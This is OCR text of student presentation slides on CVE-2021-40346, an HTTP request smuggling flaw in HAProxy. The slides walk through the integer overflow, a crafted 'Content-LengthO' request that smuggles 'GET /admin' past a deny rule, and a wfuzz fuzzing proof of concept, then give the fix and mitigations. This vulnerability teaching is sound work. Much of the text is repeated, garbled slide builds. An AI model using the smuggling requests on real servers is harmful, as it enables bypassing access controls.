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Introduction

@ HAProxy Community Edition
(https://github. com/haproxy/haproxy).

e Proxying, load balancing, HTTP rewriting and redirection, Server
protection, Sticky tables, etc.
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Introduction

@ HAProxy Community Edition
(https://github.com/haproxy/haproxy).

Proxying, load balancing, HTTP rewriting and redirection, Server
protection, Sticky tables, etc.

o Alternative to Nginx for load-balancing / proxying.

Widely used in large-scale industry: Airbnb[1]. Alibaba[2]. GitHub][3],
Instagram[4], Reddit[5], StackOverflow[6], Twitter[7].

From (including) 2.0.0 Up to (excluding) 2.0.25
From (including) 2.2.0 Up to (excluding) 2.2.17
From (including) 2.3.0 Up to (excluding) 2.3.14
From (including) 2.4.0 Up to (excluding) 2.4.4
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Introduction

o CVE-2021-40346

@ Integer Overflow

@ CWE-190 Integer Overflow or Wraparound|8].

@ HTTP request smuggling

HAProxy
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Introduction

o CVE-2021-40346

@ Integer Overflow
@ CWE-190 Integer Overflow or Wraparound|8].
@ HTTP request smuggling

HAProxy Web Server

<l W ==

Characterisation [10]

@ Attack Vector: Network (HTTP requests)
@ Attack Complexity: Low (Crafted HTTP request)

Source: [9]

@ No priviledge required / No user interaction.

Impact [8, 10],
@ No Confidentiality impact / No availability impact (*)
@ High Integrity impact
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Introduction

o CVE-2021-40346

@ Integer Overflow
@ CWE-190 Integer Overflow or Wraparound|8].
@ HTTP request smuggling

HAProxy Web Server

AN H O =
- o
Source: [9]

Score / Remarks [8, 11]

@ CVSS Version 3: 7.5 HIGH
@ CVSS Version 2: 5.0 MEDIUM

Characterisation [10]

@ Attack Vector: Network (HTTP requests)

@ Attack C lexity: L Crafted HTTP t
ack Complexity: Low (Crafte request) @ CTI Interest Score (January 2022): 0.14

@ No priviledge required / No user interaction. (Low interest)

Impact [8, 10],

@ No Confidentiality impact / No availability impact (*)

@ According to Vuldb[11]:

@ Firefall Software vulnerability.
@ High Integrity impact @ Known technical details.
@ No public exploit (*).
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Normal usage

o |

Server

Web
Server

*:8000

# HAPROXY

backend2:5000

O

frontend http-in
bind *:8000
default_backend

backend

http-reuse always

server serverl

backend3:5000

Web
Server

e

Web
Server

maxconn 32

server server2 backend2:5000 maxconn 32
server server3 backend3:5000 maxconn 32
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Normal usage

Web
Server Server
.
,

# HAPROXY -7 X

. Web
GET /index HTTP/1.1 Jgs Server

Web
Server
frontend http-in

bind *:8000
default_backend servers

backend servers
http-reuse always
server serverl backend1:5000 maxconn 32
server server2 backend2:5000 maxconn 32
server server3 backend3:5000 maxconn 32
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Normal usage

Web
Server Server

% HAPROXY Web
Server Server

Web
Server

frontend http-in
bind *:8000
default_backend servers
http-request deny if { path_beg /admin }

backend servers
http-reuse always
server serverl backend1:5000 maxconn 32
server server2 backend2:5000 maxconn 32
server server3 backend3:5000 maxconn 32
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Normal usage

Web
Server Server
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s V2.
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# HAPROXY
GET /admin HTTP/1.1

response 503

Web
Server

Web
| Server
frontend http-in
bind *:8000

default_backend servers
http-request deny if { path_beg /admin }

backend servers

http-reuse always

server serverl backend1:5000 maxconn 32
server server2 backend2:5000 maxconn 32
server server3 backend3:5000 maxconn 32
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Attack
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Attack
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Attack
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N
Attack

# HAPROXY

HTTP Request Smuggling

Alex Oarga Hategan (718123) CVE-2021-40346

HTTP/1.1

Server

Web
Server

Web
Server

Server

Web
Server

EVSS 21-22

4/19



Technical details [9]

@ HAProxy request headers internal representation
Each HTTP header block stored in 32 bit array:!

Ob 0000 0000 0000 0000 0OOOO 0000 0000 0000

0000: type
0000 0000: wvalue length
0000 0000: name length

1
https://github.com/haproxy/haproxy/blob/v2.5-dev4/doc/internals/htx-api.txt#L174
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Technical details [9]

@ HAProxy request headers internal representation
Each HTTP header block stored in 32 bit array:!
Ob 0000 0000 0000 0000 0000 0000
0000: type
0000 0000: name length

blk -> info += (value.len << 8) + name.len;

1
https://github.com/haproxy/haproxy/blob/v2.5-dev4/doc/internals/htx-api.txt#L174
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Technical details

@ Example

GET /index HTTP/1.1
Host: xx.xxxxx.%xx%x:10001
Content-Length: 23
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Technical details

@ Example

GET /index HTTP/1.1
Host: xx.xxxxx.%xx%x:10001
Content-Length: 23

e Host: xx.xxxxX.%x%:10001
Ob 0010 0000 0000 0000 0001 0001 0000 0100
0001 0001: value length (=17)
0000 0100: name length (=4)
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N
Technical details

@ Example

GET /index HTTP/1.1
Host: xx.xxxxx.%xx%x:10001
Content-Length: 23

e Host: xx.xxxxX.%x%:10001
Ob 0010 0000 0000 0000 0001 0001 0000 0100
0001 0001: value length (=17)
0000 0100: name length (=4)

o Content-Length: 23
Ob 0010 0000 0000 0000 0000 0010 0000 1110
0000 0010: value length (=2)
0000 1110: name length (=14)
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Technical details

@ Example

Content-LengthO

aaaa a
aa aaaa aaaa a
aa aaaa aaaaaaaa

aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaa:
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Technical details

@ Example

Content-LengthO

aaaa a

aa aaaa aaaa a

aa aaaaaaaaaaaaaaaaaaaaa

aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaa:

o Preprocessing:
Ob 0010 0000 0000 0000 0000 0001 0000 1110
value length: 0000 0000 (=0)
name length: 1 0000 1110 (=270)
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Technical details

@ Example

Content-LengthO

aa aaaa aaaa a

aa aaaaaaaaaaaaaaaaaaaaa

aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaa:

o Preprocessing:
Ob 0010 0000 0000 0000 0000 0001 0000 1110
value length: 0000 0000 (=0)
name length: 1 0000 1110 (=270)

o Postprocessing:

value length: 0000 0001 (=1)
name length: 0000 1110 (=14)
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Technical details

@ Example

Content-LengthO

aa aaaa aaaa a

aa aaaaaaaaaaaaaaaaaaaaa

aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaa:

o Preprocessing:
Ob 0010 0000 0000 0000 0000 0001 0000 1110
value length: 0000 0000 (=0)
name length: 1 0000 1110 (=270)

o Postprocessing:
value length: 0000 0001 (=1)
name length: 0000 1110 (=14)
Content-LengthO —> Content-Length:0 (EMPTY REQUEST!)
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|
Vulnerability exploitation [9]

GET /index
HTTP/1.1

response 200
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Vulnerability exploitation

Web
Server

—

GET /admin © QQ\ -7 x
wrre/e - o«
rrrrrrrrrrrrrrrrrrr - P— ’

B rules

response 503
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Vulnerability exploitation

H

Content-Le

Content-Length:

<BODY>
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Vulnerability exploitation

POST /index HTTP/1.1

Host: XX.XXXXX.XX:8000 Web
| Server

Content-Le hOaaaaaaaaaaaaaa..

Content-Length: 29

<BODY>

 HAPROXY

rules

POST /index HTTP/1.1
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Vulnerability exploitation

POST /index HTTP/1.1

Host: XX.XXXXX.XX:8000 Web
Server Server
Content-LengthOaaaaaaaaaaaaaa..

Content-Ler

<BODY>

 HAPROXY

POST /index HTTP/1.1 _— POST /index HTTP/1.1
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Vulnerability exploitation

POST /index HTTP/1.1

Host: xXxX.XXXxX.xX:8000 Web
Server Server
Content-LengthOaaaaaaaaaaaaaa..

Content-Length: 29

<BODY>

 HAPROXY

POST /index HTTP/1.1 _ POST /index HTTP/1.1

Host: xXxX.xXXxX.xX:8000
0000 00004

Alex Oarga Hategan (718123) CVE-2021-40346 EVSS 21-22 7/19



Vulnerability exploitation

POST /index HTTP/1.1

Host: XX.XXXXX.XX:8000 Web
Server | Server

Content-LengthOaaaaaaaaaaaaaa..

Content-Length: 29

<BODY> N

 HAPROXY T

POST /index HTTP/1.1 POST /index HTTP/1.1
Host: xXxX.xXXxX.xX:8000
B S —
0000 00004

Host: xXxX.xxXXxX.xX:8000
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Vulnerability exploitation

POST /index HTTP/1.1
Host: xXxX.XXXxX.xX:8000

Content-LengthOaaaa

Web
Server Server
aaaaaaaaa..
Content-Length: 29

<BODY> N

 HAPROXY T

POST /index HTTP/1.1 POST /index HTTP/1.1
Host:

XX . XXXXX.XX:8000
_
0000 00004 Host: xXX.xXXXXX.xx:8000
Content-LengthOaaaaaaa
aaaaaaa..:

0000 00014
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Vulnerability exploitation

POST /index HTTP/1.1
XX . XXXXX.XX:8000

Host:
Content-LengthOaaaa

Web
Server Server
aaaaaaaaa..
Content-Length: 29

<BODY> N

 HAPROXY T

POST /index HTTP/1.1 POST /index HTTP/1.1
Host:

XX . XXXXX.XX:8000

_
0000 00004 Host: xXxX.xxXXxX.xX:8000

Content-LengthOaaaaaaa >
aaaaaaa..:

Content-Length: 0
0000 00014
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Vulnerability exploitation

POST /index HTTP/1.1

Host: xXxX.XXXxX.xX:8000 Web
Server | Server
Content-LengthOaaaaaaaaaaaaaa..

Content-Length: 29

<BODY>

 HAPROXY Tl

POST /index HTTP/1.1 _ POST /index HTTP/1.1

Host: xXxX.xXXxX.xX:8000
0000 00004 Host: xXxX.xxXXxX.xX:8000

Content-LengthOaaaaaaa )
aaaaaaa..: Content-Length: 0

0000 00014

Content-Length: 29
0000 00014
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Vulnerability exploitation

POST /index HTTP/1.1

Host: xXxX.XXXxX.xX:8000 Web
Server | Server
Content-LengthOaaaaaaaaaaaaaa..

Content-Length: 29

<BODY>

 HAPROXY Tl

POST /index HTTP/1.1 _ POST /index HTTP/1.1

Host: xXxX.xXXxX.xX:8000
0000 00004 Host: xXxX.xxXXxX.xX:8000

Content-LengthOaaaaaaa )
aaaaaaa..: Content-Length: 0

0000 00014

Content-Length: 29
0000 00014

<BODY>
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Vulnerability exploitation

POST /index HTTP/1.1
Host: XX.XXXXX.XX:8000 Web

Server | Server
Content-LengthOaaaaaaaaaaaaaa..

Content-Length: 29

<BODY>

# HAPROXY N AR

POST /index HTTP/1.1 _ POST /index HTTP/1.1
Host: xXxX.xXXxX.xX:8000
_

0000 00004 Host: xXxX.xxXXxX.xX:8000
Content-LengthOaaaaaaa .
aaaaaaa..: Content-Length: 0

0000 00014

Discarded:

Content-Length: 29 content—Length: Already

0000 00014 present
<BODY>
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Vulnerability exploitation

POST /index HTTP/1.1
Host: XX.XXXXX.XX:8000 Web

Server | Server
Content-LengthOaaaaaaaaaaaaaa..

Content-Length: 29

<BODY>

# HAPROXY N AR

POST /index HTTP/1.1 _ POST /index HTTP/1.1
Host: xXxX.xXXxX.xX:8000
_

0000 00004 Host: xXxX.xxXXxX.xX:8000
Content-LengthOaaaaaaa .
aaaaaaa..: Content-Length: 0

0000 00014
Content-Length: 29 ntentLengtht

0000 00014
<BODY> _—— <BODY>
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Vulnerability exploitation

POST /index HTTP/1.1

Host: xXxX.XXXxX.xX:8000
Content-LengthOaaaaaaaaaaaaaa..
Content-Length: 29

<BODY>

# HAPROXY N AR

Server

Web
Server

POST /index HTTP/1.1 _—

Host: xXxX.xXXxX.xX:8000

0000 00004

Content-LengthOaaaaaaa

-
aaaaaaa..:
0000 00014
Content-Length: 29 _
0000 00014
<BODY> _ >
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Vulnerability exploitation

POST /index HTTP/1.1

POST /index HTTP/1.1
Host: xXxX.XXXxX.xX:8000

Host:xXx.XxXXx.xx:8000

Content-LengthOaaaaaaaa Content-Length: 0

Content-Ler

<BODY>
<BODY>

| web
,,,,,,,,,,, N 3 HAPROXY L Server Server
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Vulnerability exploitation

POST /index HTTP/1.1
Host: xXxX.XXXxX.xX:8000
Content-Len

POST /index HTTP/1.1
Host:xXx.XxXXx.xx:8000
gthOaaaaaaaa Content-Length: 0
Content-Length: 29

<BODY>
<BODY>

 HAPROXY

7777777777777777777 ~— .
responde /index responde /index

Server

Web
Server
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Vulnerability exploitation

POST /index HTTP/1.1

Host: xXxX.xxXXxX.xXx:8000 POST /index HTTP/1.1

Host:XX.XXXXX.Xx:8000
Content-Length: 0

Content-LengthOaaaaaaaa

Content-Length: 29

GET /admin HTTP/1.1

GET /admin HTTP/1.1
h: example

h: example

 HAPROXY

e P — D
responde /index responde /index

Server

Web
Server
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POST /index HTTP/1.1
Host: xXxX.xxXXxX.xXx:8000
Content-LengthOaaaaaaaa
Content-Length: 29

GET /admin HTTP/1.1

Vulnerability exploitation

POST /index HTTP/1.1
Host:XX.XXXXX.Xx:8000
Content-Length: 0

GET /admin HTTP/1.1

h: example

h: example

 HAPROXY

responde /index

responde /index

Server

Web
Server

HTTP Request Smuggling
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Vulnerability exploitation

POST /index HTTP/1.1
Host: xXxX.xxXXxX.xXx:8000
Content-LengthOaaaaaaaa

Content-Length: 29 PO

OST /index HTTP/1.1
Host:XX.XXXXxX.xXx:8000
GET /admin HTTP/1.1 Co 0
h: example

 HAPROXY

""""""""""
responde /index

ponde /index

GET /admin HTTP/1.1

Server

Web
Server

h: example
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Vulnerability exploitation

POST /index HTTP/1.1

Host: xXxX.xxXXxX.xXx:8000
Content-Len
Content-Length: 29

hOaaaaaaaa

GET /admin HTTP/1.1

POST /index HTTP/1.1
Host:XX.XXXXxX.xXx:8000
Content-Length: 0

h: example

 HAPROXY

o
responde /index

| web
Server Server
responde /index

GET /admin HTTP/1.1
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Vulnerability exploitation

POST /index HTTP/1.1
Host: xXxX.xxXXxX.xXx:8000
Content-Len
Content-Length: 29 POST /index HTTP/1.1
Host:XX.XXXXxX.xXx:8000

GET /admin HTTP/1.1 Content-Length: 0
| web
Server Server

h: example
responde /index

GET /admin HTTP/1.1
h: example

hOaaaaaaaa

 HAPROXY

responde /index

response /admin

e
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Vulnerability exploitation

POST /index HTTP/1.1
Host: xXxX.xxXXxX.xXx:8000
Content-LengthOaaaaaaaa

Content-Length: 29 PO

OST /index HTTP/1.1
Host:XX.XXXXxX.xXx:8000
GET /admin HTTP/1.1 Co 0
h:

 HAPROXY

""""""""""
responde /index

ponde /index

GET /admin HTTP/1.1

Server

Web
Server

h:
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Vulnerability exploitation

POST /index HTTP/1.1

Host: xXxX.xxXXxX.xXx:8000

Content-Len

Content-Length: 29

GET /admin HTTP/1.1

hOaaaaaaaa

POST /index HTTP/1.1
Host:XX.XXXXxX.xXx:8000
Content-Length: 0

 HAPROXY

o
responde /index

responde /index

GET /admin HTTP/1.1

Server

Web
Server

GET /index HTTP/1.1
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Vulnerability exploitation

POST /index HTTP/1.1

Host: xXxX.xxXXxX.xXx:8000

Content-LengthOaaaaaaaa

Content-Length: 29 POST /index HTTP/1.1
Host:XX.XXXXxX.xXx:8000

GET /admin HTTP/1.1 Content-Length: 0

 HAPROXY

| web

Server Server
responde /index
GET /admin HTTP/1.1

h: GET /index
HTTP/1.1

responde /index

GET /index HTTP/1.1
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Vulnerability exploitation

POST /index HTTP/1.1

Host: xXxX.xxXXxX.xXx:8000

Content-LengthOaaaaaaaa

Content-Length: 29 POST /index HTTP/1.1
Host:XX.XXXXxX.xXx:8000

GET /admin HTTP/1.1 Content-Length: 0

h:
| web
,,,,,,,,,,, 5 HAPROXY Server Server

responde /index

GET /admin HTTP/1.1
h: GET /index
HTTP/1.1

responde /index

GET /index HTTP/1.1

responde /admin
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Vulnerability exploitation

POST /index HTTP/1.1

Host: xXxX.xxXXxX.xXx:8000

Content-LengthOaaaaaaaa

Content-Length: 29 POST /index HTTP/1.1
Host:XX.XXXXxX.xXx:8000

GET /admin HTTP/1.1 Content-Length: 0

h:
| web
,,,,,,,,,,, 5 HAPROXY Server Server

responde /index

GET /admin HTTP/1.1
h: GET /index

responde /index

GET /index HTTP/1.1 HTTP/1.1
responde /admin responde /admin
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Demo

Host
Docker container
- <<Server>>
Docker container Flask
Client HAProxy HTTP <<WSGl=> HTTP __
-=-HTTP- | - “Fe.50007" Gunicom [~ *:5000
8000
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-
Mitigation

@ Code:

if (name.len > 255)
return NULL;
blk -> info += (value.len << 8) + name.len;
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Mitigation

@ Code:

if (name.len > 255)

return NULL;
blk -> info += (value.len << 8) + name.len;

BUG/MAJOR: htx: fix missing header name length check in htx_add_heade...
-r/trailer

ori Hollander of JFrog Security reported that htx_add_header() and

htx_add_trailer() were missing a length check on the header name. while
this does not allow to overwrite any memory area, it results in bits of
the header name length to slip into the header value length and may

he sad thing here

result in forging certain header names on the input.
FIXME COMMENT Was present supgesting to add the required length

is that a
checks :-(

* FIXME: check name.len (< 2568) and value.len (< 1MB)

blk = htx_add_blk{htx, HTX_BLK_HDR, name.len + value.len);
if (1bIk)
rewurn NuLL;

blk-»info += (value.len << 8) + name.len;
blk), name);

ist2bin_le(htx_get_blk_ptr(htx,
+ name.len, value.ptr, value.len);

memcpy (htx_get blk ptr(htx, blk)
return blk;
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Mitigation

o HAProxy

e Upgrade to HAProxy version 2.0.25, 2.2.17, 2.3.14 or 2.4.4.

o Block requests with more than one content-length header 2:

http-request deny if {

req.hdr_cnt (content-length) gt 1
}
http-response deny if {

res.hdr_cnt (content-length) gt 1

}

https: //www.mail-archive.com /haproxy@formilux.org/msg41114.html
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-
Mitigation

T /index P/1.1
XX . XXXXX.Xx:8000

aaaaaaa..

29

/index H

XX . XXXXX. X

GET /admin HTTP/1.1 : 1 1gth: 0
h:
""""""""""""""" - Web
,,,,,,,,,,,,,,,,,,, . 5 HAPROXY . Server Server
responde /index GET /admin HTTP/1.1

h: GET /index

GET /index HTTP/1.1 HTTP/1.1

responde /admin responde /admin

On mitigation:
e headers path
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Mitigation

POST /index HTTP/1.1
Host: xX.XXXXX.xX:8000
Content-LengthOaaaaaaaa..
Content-Length: 29

GET /admin
h:

POST /index
Hos

TTP/1.1
XX .XXXXX.Xx:8000
Content-Length: 0

3 HAPROXY

responde /index

GET /admin HTTP/1.1

Server

Web
Server

responde /admin

h: GET /index
HTTP/1.1

responde /admin

On mitigation: 6.2 Response Header Fields

° “The response-header felds allow the server to pass additional information about the response which cannot be placed in the Status- Line.
‘These header fields give information about the server and about further access to the resource identified by the Request-URI.

response-header = Accept-Ranges ; Section 14.5
| Age ; Section 14.6
| ET Section 14.19
| Location i Section 14
| Proxy-Authenticate i Section 18.33

Retry-After ; Section 14.37
Server

Vary
Wa-Authenticate ; Section 14.47

Response-header field names can be extended reliably only in combination with a change in the protocol version. However, new or

experimental header fields MAY be given the semantics of response- header fields
response-header fields. Unrecognized header fields are treated as eniity-header fields.

Alex Oarga Hategan (718123)
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Vulnerability discovery

@ Code

w o= (x << y) + z
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Vulnerability discovery

@ Fuzzing headers

@ GET /index HTTP/1.1
Content-Length: O

© GET /index HTTP/1.1
Content-Lengthh: O

© GET /index HTTP/1.1
Content-Lengthhh: 0

© GET /index HTTP/1.1
Content-Lengthhhh: 0

© GET /index HTTP/1.1
Content-Lengthhhhh: O
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-
Fuzzing PoC

o Wfuzz - Python Web Fuzzer (github.com/xmendez/wfuzz)

WY Fuzz
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-
Fuzzing PoC

o Wfuzz - Python Web Fuzzer (github.com/xmendez/wfuzz)

WY Fuzz

ID Response Lines Word Chars Request
00022: (=301 7L 12 W 184 Ch "admin"
00130: (=403 10 L 29 W 263 Ch "cgi-bin"
00378: (=301 7L 12 W 184 Ch "images"
00690: (=301 7L 12 W 184 Ch "secured"
00938: (=301 7L 12 W 184 Ch "Cvs"
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-
Fuzzing PoC

e POST
-H "Host: xx.xxxxX.xX:8000"
-H "Content-LengthFUZZ:"
-H "Content-Length: 1"
localhost:8000/headers

length(FUZZ) = (0, 280)
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-
Fuzzing PoC

e POST
-H "Host: xx.xxxxX.xX:8000"
-H "Content-LengthFUZZ:"
-H "Content-Length: 1"
localhost:8000/headers

length(FUZZ) = (0, 280)

GET /headers 3 HAPROXY
Wifuzz - -oese
-

headers *

Web Server

/headers

headers *
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-
Fuzzing PoC

Alex Oarga

ddddddddddddddddddddddddddddddddddddddddddddddadaddddaddaaas
P0249: (=405

PO273: (=405
d3833333333333333333333333333333333333333333333333333a3333
PO279: (=405
3333333333333333333333333333333333333333333333333333333333
PO280: (=405
338883333333383333393333333333333333a3333333335333323a34a433
PO278: (=405
d3833333333333333333333333333333333333333333333333333a3333
PO277: (=405
3333333a33333333333333333333333333233333333333333332333333
PO276: (=405

ategan (718123) CVE-2021-40346 EVSS 21-22
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Questions

@ github.com/alex0arga/CVE-2021-40346
released under GPLv3

@ Adbvisory: [9]
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